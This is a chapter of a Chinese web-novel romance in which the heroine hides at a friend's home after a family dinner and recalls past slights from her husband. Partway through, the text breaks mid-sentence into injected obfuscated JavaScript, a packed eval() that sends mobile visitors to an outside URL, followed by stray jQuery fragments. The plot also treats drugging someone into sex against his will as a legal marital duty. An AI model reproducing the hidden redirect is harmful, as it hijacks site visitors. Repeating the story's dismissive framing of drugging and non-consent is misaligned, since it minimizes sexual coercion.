15.第十五章
作品:《妻子的报复》 最后白琼不光没有鼓起勇气和苏芸共进退,甚至还临阵脱逃了。
她头一次在家宴上抛下顾厌迟,以学校有急事为由逃也似的离开了主宅。
她没有回家,怕之后顾厌迟回来来个瓮中捉鳖,而是找到了杨清容。
逃跑可耻但有用,在对方消气之前白琼打算暂且在自家好友这里避避风头。
杨清容对白琼的到来很是惊喜,半调侃半抱怨道:“哟,稀客啊,之前约你吃个饭都得预约个十天半个月的,没想到你这大忙人还有主动找上我的时候。”
白琼尴尬地笑了笑:“这不是正好周末吗,所以想着你可能不忙就过来看看你。”
“少来,找我还需要挑时间?我又不上班,一个闲散富二代什么时候忙过?”
杨清容扭头对上门美甲师道:“一会儿贴钻的时候给我弄牢固点儿,上次没过几天就掉了。”
“对了,你要不也弄个?你的手好看,这款裸色猫眼还挺适合你的。”
白琼看了眼杨清容指的那款美甲,的确不错,她有些心动,但还是摇了摇头:“不了,我看着你做就好。”
对于女人这个反应杨清容早有所料,她嗤笑了声:“是不感兴趣还是怕你亲亲老公不喜欢?”
白琼一噎,有些无奈:“清容。”
“哼。”
过了一会儿,见到白琼的高兴劲儿过去了,杨清容才咂摸出不对来。
事出反常必有妖,白琼什么时候来找她都正常,唯独在顾家家宴隔天一大早找上她这就奇怪了。
先不论她对顾家家宴的重视程度,这次顾厌迟和她一起出席,这样难得的和他相处的机会放在以往白琼哪里会舍得错过。
杨清容的脸一下子严肃了起来:“白琼,我说你该不会……”
白琼本来就心虚,被她看得更是紧张得不敢和她对视。
“该,该不会什么?”
她眯着眼睛,拖长了声音道:“你该不会——被他赶出来了吧?”
白琼悬着的心放下,不免觉得好笑:“你怎么会这么想?他再怎么不喜欢我也不至于把我赶出来吧,况且就算他真那么干了,顾爷爷第一个打断他的腿。”
杨清容瘪了瘪嘴:“那可不一定,这种没品的事顾厌迟又不是没干过。”
她这人向来心直口快,说完后看见女人一下子凝住的神情才意识到自己说错话了。
“呃抱歉,我不是那个意思,我就是单纯担心你而已,你别多想。”
白琼看着杨清容慌忙解释的样子扯了下嘴角:“你道歉做什么,你又没说错。”
杨清容不提她都差点忘了,这种混账事顾厌迟还真干过,只是时间已经很久远了,在五年前,他们还没有结婚,刚上大学的时候。
白琼和顾厌迟从小一起长大,连初中,高中都是在一个学校上的,唯独大学。
顾厌迟的成绩很好,是当之无愧的学霸,白琼为了和他考入同一所大学在高三最后阶段冲刺的时候可谓是头悬梁锥刺股,努力努力再努力。
功夫不负有心人,在高考前的几次诊断性
考试她都考得很好,老师说只要不出意外她有很大概率考入A大,可偏偏出了意外。
在高考前夕她突然高烧不退,隔天强撑着上了考场,最后的结果不算差,她超了重本线二十分,只是没达到A大的录取分数线。
白琼伤心得一个暑假都没振作起来,唯一的好消息是录取她的B大和A大同城,她和顾厌迟虽然没上成一个大学,但至少不是异地,要见他只需要坐一小时地铁就行。
于是在顾厌迟生日的时候,她特意请了假拿着精心准备好的礼物去学校找他,她想给男人一个惊喜,去之前没有告诉他。
当时送他礼物的不止她一个,白琼见到他的时候他被一群女生围在中间,每个人都拿着礼物往他跟前凑,她一个人局促站在不远处,一时之间不知道该不该上去。
顾厌迟余光瞥见了他,拨开人群朝着她走了过去,当着众人的面从她手上接过了礼物,然后拽着她的手离开了。
白琼为这种特殊的区别对待而心跳加速,直到她被带到了校门口。
“谢谢你的礼物,你先回去吧,我一会儿还有课可能没办法陪你。”
撂下这句话后就让司机把她送走了,白琼整个人都是懵的,完全来不及反应。
直到回去后她才后知后觉意识到顾厌迟是把她当挡箭牌了,并不是真的想要收下她的礼物。
尽管周末的时候他主动约她吃了饭,为之前没办法陪她的事情道了歉,可到底是他真的觉得对不起自己还是被老爷子摁着头来的,谁也不知道。
这已经是陈芝麻烂谷子的事了,白琼那时候虽然伤心失落,更多的是觉得是自己没有提前告知让惊喜成为了困扰,反而在自责,没有一点对男人的不满。
而如今杨清容旧事重提,白琼却感到了愤怒。
杨清容注意到了女人情绪的变化,惊讶极了:“你生气了?我没看错吧,你真生气了?生顾厌迟的气?天啦,今天太阳也没打西边出来啊。”
白琼皱眉:“你这是什么语气,好端端的说话怎么那么阴阳怪气?”
“我没阴阳怪气,我是在为你高兴,你终于知道生气了。你大老远拿着礼物眼巴巴跑过去找他,对方不光拿你当了挡箭牌还把你打发走了,只要是个正常人都该生气而不是自责。”
杨清容欣慰地拍了拍白琼的肩膀:“恭喜你,你终于变回正常人了。”
白琼一愣,这才明白过来对方为什么会这个反应,的确,放在以前的白琼身上,无论顾厌迟对她做什么她都不会生气的,所以现在她生气了反倒显得不正常了。
她抿着嘴唇,放在膝盖上的手握紧又松开,在确定已经肯定自己心里的那团火名为怒火后,白琼感到一阵陌生的惶恐。
那是一种类似于认知被打乱,世界观被重塑的冲击,让她脑子宕机了半晌。
“喂,喂,回神,想什么呢?”
“啪”的一声,是响指打响的声音。
白琼眼眸动了动,随即如梦初醒般猛地一把抓住了杨清容在自己面前晃的手。
“对啊,我该生气的,我凭什么不生气?!”
杨清容被她突然拔高的声音吓了一跳,试图把手抽走,却发现女人的力气意外的大,索性任由她抓着了。
“生气就生气嘛,这么激动做什么?”
她等白琼情绪缓和了些又把话题拉到了最初:“所以你到底是因为什么才破天荒撇下你的心肝儿找我的?”
白琼从姗姗来迟的怒气中缓了缓,尽管她和杨清容关系好到可以说是无话不谈,但这种事情事关一个男人的尊严,更事关顾氏的形象,万一她不小心说出去了对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187200|196569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾厌迟乃至整个顾家都会造成不小的影响。
但她又实在不知道该怎么应对想找人支个招,毕竟自己总不能一直躲在杨清容家里不回去吧。
于是白琼将自己对顾厌迟做的事情略过,只说了苏芸下药想帮她们生米煮成熟饭的部分。
“虽然他没喝那杯加料的牛奶,但我们都不可避免吸入一些空气中挥发的气体,受到了一点影响,就,就……总之是违背了他的意愿,加上被算计了他醒来之后特别生气。他现在在气头上我不好往他枪口上撞,但一直躲下去也不是个办法。”
她抓了把头发,求救地看向杨清容。
“清容,你说我现在到底该怎么办?”
“哦,我明白了,敢情你把我这当避难所了啊。”
杨清容翻了白眼,同时又为苏芸的狂野举动一阵咋舌。
没想到苏阿姨看着温温柔柔的,竟然会干出下药这种损招,真是人不可貌相。
这时候美甲已经做好了,她举起手对着灯光不慌不忙地欣赏了一会儿,见一旁的人都要急坏了,她才吹了下指甲回答。
“瞧你这没出息的样,才说你正常了后脚又打回原形了。药是你下的吗?你眼睁睁看着他喝了没制止吗?抛去这些不论,你们是合法夫妻,他受没受影响都得履行夫妻之间的合法义务,这事放到法院去告都是你占理,你有什么好怕的?”
话是这么说,可这不是有理没理的事情,这段婚姻本身就是她硬求来的,这五年她小心翼翼维系着生怕一个不小心讨了他的嫌。
杨清容一针见血道:“你怕他跟你离婚对吗?”
白琼抿着嘴唇默认了。
“那你就更不用害怕了,有顾老爷子在他这婚他想离也离不了。”
不是的,白琼想说她害怕的并不是离婚本身,而是失去,失去这段婚姻,失去和他光明正大站在一起的资格。
光是想想那种恐慌就让白琼有些喘不过气来。
杨清容叹了口气,拍了拍她的背安抚道:“好啦深呼吸,放轻松,你担心的事情不会发生的,这段时间你就住我这里暂避风头,要是过几天你回去后他还生你的气再说,兵来将挡,水来土掩,现在担心也没用。”
“说起来上次我们住在一起还是高中夏令营那会儿呢,你还记得吗,我们大晚上在房间里不睡觉叫了一堆人玩枕头大战,虽然事后被老师劈头盖脸骂了一顿,还写了三千字检讨,但是那种快乐是多少钱都买不到的。”
女人本来是随便扯个话题想要转移白琼注意力的,到后面还真的控制不住怀念了起来。
“不过有钱能买到的快乐还是很多的,机会难得,要不我带你放松放松?”
白琼立刻警铃大作:“那种地方不行!”
杨清容无语:“你想什么呢,我是想问你要不要跟我去看比赛?”
“比赛?”
“网球比赛,我喜欢的那个选手最近回国了,这是他的回国首秀,我正愁找不到人陪我去看呢。要不要去?”
白琼之前听杨清容提起过那个网球选手,人气很高,一票难求,这让她有些犹豫。
“可是我不懂网球,你把票给一个看不懂球的人会不会太浪费了?”
“看不懂球可以看人啊。”
杨清容勾起红唇,露出了一个暧昧的笑容。
“相信我,他长得超正的。”

